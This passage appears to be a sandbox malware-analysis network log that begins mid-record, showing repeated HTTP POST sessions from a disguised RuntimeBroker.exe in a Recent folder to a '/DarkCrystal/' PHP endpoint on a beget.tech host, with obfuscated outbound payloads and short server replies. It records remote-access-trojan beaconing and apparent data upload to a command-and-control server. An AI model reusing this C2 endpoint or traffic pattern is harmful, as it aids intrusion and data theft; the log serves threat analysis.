/2'#P-#H?\V
Nov 9, 2024 22:22:15.899295092 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 1772 Expect: 100-continue
Nov 9, 2024 22:22:16.183629990 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:16.195133924 CET	1772	OUT	Data Raw: 55 52 59 5b 53 5b 5b 5d 5d 5d 54 54 54 55 5b 50 56 5a 5f 53 5b 51 5a 58 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: URY[S[[]]]TTTU[PVZ_S[QZXV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!'-C49!=4$<4# [$$3+[?$$-^.'Y&%[($
Nov 9, 2024 22:22:16.542879105 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 23 13 3c 14 2d 13 23 07 32 1e 3d 0f 0b 14 2b 5b 3a 00 26 1e 28 19 28 2c 29 59 2b 3e 2f 51 35 3d 04 17 27 02 2d 5e 35 57 33 03 25 30 2b 5a 01 1c 25 42 28 13 27 09 26 3b 31 0c 24 0e 25 17 20 01 37 17 31 34 09 5b 26 0c 1b 11 3e 23 0d 0d 38 0f 0f 59 2a 3e 3c 18 32 0f 2e 52 34 0f 2a 55 03 12 23 17 3e 2d 02 08 26 04 3b 57 29 21 0e 5f 22 3e 33 5c 22 3b 0e 58 33 06 2f 1b 2f 33 27 02 24 33 05 5c 3f 22 06 04 23 3c 0b 17 26 3a 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: #<-#2=+[:&((,)Y+>/Q5='-^5W3%0+Z%B('&;1$% 714[&>#8Y><2.R4U#>-&;W)!_">3\";X3//3'$3\?"#<&:#P-#H?\V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:15.224373102 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2536 Expect: 100-continue
Nov 9, 2024 22:22:15.571372032 CET	2536	OUT	Data Raw: 55 52 59 5f 56 57 5b 55 5d 5d 54 54 54 55 5b 54 56 5f 5f 5d 5b 51 5a 5b 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: URY_VW[U]]TTTU[TV__][QZ[V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"%2* ^9Y5> \$?[ 4>8'X0;$0);'&.&\-/'Y&%[(
Nov 9, 2024 22:22:16.144534111 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:16.191795111 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:16.443465948 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:22:16.790158033 CET	2544	OUT	Data Raw: 50 50 59 58 56 5e 5b 56 5d 5d 54 54 54 52 5b 57 56 59 5f 5f 5b 57 5a 58 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PPYXV^[V]]TTTR[WVY__[WZXV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!_%")C7(%Z#= ]%<3#='*7'%/3?<)(&=6[,/'Y&%[(
Nov 9, 2024 22:22:17.375989914 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:17.416034937 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:18.057708979 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:22:18.415124893 CET	2544	OUT	Data Raw: 55 51 59 59 56 57 5b 5c 5d 5d 54 54 54 56 5b 54 56 58 5f 5c 5b 5d 5a 5d 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UQYYVW[\]]TTTV[TVX_\[]Z]V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!Y$T> -"X X',+4>4Y=]'X$50X3++D&*.?'Y&%[($
Nov 9, 2024 22:22:18.988116980 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:19.045799017 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49737	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:20.835921049 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:21.180669069 CET	2544	OUT	Data Raw: 55 55 59 5f 53 5f 5e 51 5d 5d 54 54 54 5c 5b 55 56 5f 5f 5a 5b 5c 5a 56 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UUY_S_^Q]]TTT\[UV__Z[\ZVV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"31.#+>"-4]0,+Z74Z3Y'$',<&X]-'Y&%[(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49739	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:21.571595907 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2020 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:21.930655003 CET	2020	OUT	Data Raw: 55 53 59 5d 56 59 5b 57 5d 5d 54 54 54 55 5b 54 56 59 5f 5c 5b 5c 5a 5f 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: USY]VY[W]]TTTU[TVY_\[\Z_V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"$""(*#>4$/?4>$Y)](0%$Z0,/??B%=>.'Y&%[(
Nov 9, 2024 22:22:22.506386995 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:22.554949045 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 23 59 3c 03 3e 0d 34 39 2e 1d 29 31 00 0b 2a 3d 2d 5b 32 20 2b 02 3c 5a 39 15 2a 2d 2f 1c 22 3e 32 5e 33 3c 2d 5f 21 32 24 59 27 20 2b 5a 01 1c 26 19 3e 2d 3f 0d 31 38 3d 0e 27 09 2e 07 34 3f 20 07 32 24 27 5d 25 0c 26 0d 3e 23 0a 1e 38 08 3e 05 3f 07 23 46 26 22 25 0c 37 0f 2a 55 03 12 23 52 3d 03 3b 56 24 3e 3f 54 3c 0f 0a 58 36 2d 30 04 22 02 30 12 24 3b 3f 14 2f 33 3c 13 30 0d 2f 5f 2b 54 34 04 20 2c 26 08 27 00 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: #Y<>49.)1=-[2 +<Z9-/">2^3<-_!2$Y' +Z&>-?18='.4? 2$']%&>#8>?#F&"%7*U#R=;V$>?T<X6-0"0$;?/3<0/_+T4 ,&'#P-#H?\V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49740	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:21.975187063 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:22.321285009 CET	2544	OUT	Data Raw: 55 51 59 5d 56 5e 5b 54 5d 5d 54 54 54 52 5b 5a 56 5d 5f 58 5b 52 5a 58 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UQY]V^[T]]TTTR[ZV]_X[RZXV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"0"756=(\$?/[#.4Z);+&%X$<?Z<8?B16[9?'Y&%[(
Nov 9, 2024 22:22:22.903665066 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:22.953711987 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:23.938241005 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2536 Expect: 100-continue
Nov 9, 2024 22:22:24.290091991 CET	2536	OUT	Data Raw: 55 54 59 5a 56 57 5b 51 5d 5d 54 54 54 55 5b 5a 56 5c 5f 5a 5b 52 5a 5e 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UTYZVW[Q]]TTTU[ZV\_Z[RZ^V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!'!!#(9Y5>$Y$+Z4./>3[3%$[%,?;&>*,?'Y&%[(
Nov 9, 2024 22:22:24.888523102 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:24.947906017 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49742	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:25.618697882 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:25.977540016 CET	2544	OUT	Data Raw: 55 51 5c 59 53 5c 5b 52 5d 5d 54 54 54 5d 5b 51 56 50 5f 5a 5b 56 5a 5b 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UQ\YS\[R]]TTT][QVP_Z[VZ[V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!3& ^%_5=7'< 4/*($'%,]',7?8&.:?'Y&%[(
Nov 9, 2024 22:22:26.553204060 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:26.614923954 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49743	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:27.441842079 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:27.790015936 CET	2544	OUT	Data Raw: 55 56 59 5e 53 5b 5e 57 5d 5d 54 54 54 52 5b 55 56 51 5f 53 5b 51 5a 5f 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UVY^S[^W]]TTTR[UVQ_S[QZ_V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"'!.#(."#'Z7[ /) 0%#',);<%>6],/'Y&%[(
Nov 9, 2024 22:22:28.366054058 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:28.422883034 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49744	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:27.561495066 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2032 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:27.915021896 CET	2032	OUT	Data Raw: 55 57 59 5f 56 5c 5e 50 5d 5d 54 54 54 54 5b 54 56 50 5f 5f 5b 57 5a 5d 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UWY_V\^P]]TTTT[TVP__[WZ]V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!'15B 8*6.8['3Y <=8830[30);<1>6Z-'Y&%[(,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49745	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:29.356992960 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:29.712018013 CET	2544	OUT	Data Raw: 55 51 59 5b 56 5e 5e 51 5d 5d 54 54 54 5c 5b 54 56 51 5f 5f 5b 5c 5a 56 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UQY[V^^Q]]TTT\[TVQ__[\ZVV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"$248-Y"='$??^4+)0',%,(+;2>*:'Y&%[(
Nov 9, 2024 22:22:30.268074989 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:30.325050116 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49747	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:30.692630053 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:31.040066004 CET	2544	OUT	Data Raw: 55 54 5c 58 56 5a 5e 50 5d 5d 54 54 54 5d 5b 52 56 58 5f 5e 5b 55 5a 58 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UT\XVZ^P]]TTT][RVX_^[UZXV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!X3246 Z34#.(36;'Z7+;'A%.)9/'Y&%[(
Nov 9, 2024 22:22:31.652189016 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:31.706653118 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49749	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:32.115422964 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:32.461967945 CET	2544	OUT	Data Raw: 55 5b 5c 5a 56 5f 5e 50 5d 5d 54 54 54 57 5b 52 56 5e 5f 5c 5b 56 5a 57 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: U[\ZV_^P]]TTTW[RV^_\[VZWV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"3T)@ (9[!Z34#>+);'Y'60',/Z(&-&]9'Y&%[(
Nov 9, 2024 22:22:33.044056892 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:33.093898058 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49752	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:33.314212084 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49754	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
